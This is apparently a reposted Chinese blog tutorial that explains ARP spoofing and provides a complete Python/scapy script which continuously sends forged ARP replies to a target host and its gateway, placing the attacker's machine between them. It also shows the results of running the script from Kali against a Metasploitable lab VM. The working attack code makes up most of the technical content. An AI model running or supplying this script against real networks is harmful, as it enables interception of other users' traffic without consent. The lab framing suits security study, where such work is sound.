2000字范文,分享全网优秀范文,学习好帮手!
2000字范文 > python+scapy实现ARP欺骗

python+scapy实现ARP欺骗

时间:2022-01-29 14:39:01

相关推荐

python+scapy实现ARP欺骗

python+scapy实现ARP欺骗

需要下载的库ARP欺骗原理源代码:运行结果

需要下载的库

可以直接通过pip下载

pip install scapy

ARP欺骗原理

设网关的IP为10.10.10.1,MAC为11:22:33:44:55:AA;

攻击主机的IP为10.10.10.3,MAC为11:22:33:44:55:CC;

受害主机的IP为10.10.10.2,MAC为11:22:33:44:55:BB;

1、攻击主机向网关和目标主机发送ARP欺骗报文,告诉目标主机pc2我是网关,但包中的mac地址为攻击主机pc1的mac地址;告诉网关我是目标主机pc2,但包中的mac地址为攻击主机pc1的mac地址。

2、3即目标主机和网关之间的联系,其实都是向攻击主机发送,由攻击主机先接收,再由攻击主机发送原本应该接收的主机。

源代码:

其中getmac函数对于返回包中源mac地址获取,可以参考python3编写arp扫描器[玩具]中有对srp返回包的结构分析(很详细!)

from scapy.all import *def getmac(target_ip):arp_p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,pdst=target_ip)ans=srp(arp_p,timeout=2,verbose=False)return ans[0].res[0][1][1].fields['hwsrc']#返回mac地址def spoofarpcache(target_ip,target_mac,source_ip):spoofed=ARP(op=2,pdst=target_ip,psrc=source_ip,hwdst=target_mac)send(spoofed,verbose=False)def restorearp(target_ip,target_mac,source_ip,source_mac):packet=ARP(op=2,hwsrc=source_mac,psrc=source_ip,hwdst=target_mac,pdst=target_ip)send(packet,verbose=False)print("ARP Table restored to normal for",target_ip)def main():target_ip=input("Enter Target IP:")gateway_ip=input("Enter Gateway IP:")try:target_mac=getmac(target_ip)print("Target MAC:",target_mac)except:print("Target machine did not respond ARP broadcast.")quit()try:gateway_mac=getmac(gateway_ip)print("Gateway MAC:",gateway_mac)except:print("Gateway is unreachable.")quit()try:print("Sending spoofed ARP responses.")while True:spoofarpcache(target_ip,target_mac,gateway_ip)spoofarpcache(gateway_ip,gateway_mac,target_ip)except:pirnt("ARP spoofing stopped.")restorearp(gateway_ip,gateway_mac,target_ip,target_mac)restorearp(target_ip,target_mac,gateway_ip,gateway_mac)quit()if __name__=="__main__":main()

运行结果

攻击主机为我的kali主机,目标主机为metasploitable-win2k8虚拟靶机,py是在kali上运行的。

运行结果(kali ip为192.168.44.129,mac为00:0C:29:F6:66:EA;虚拟靶机ip为192.168.44.134 ,mac为00:0C:29:8E:C0:8D;网关ip为192.168.44.2,mac为00:50:56:EE:9D:38):

运行py截图:

原靶机上arp-a,网关的mac地址:

ARP欺骗后(运行后),网关的mac地址变为kali的mac地址:

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。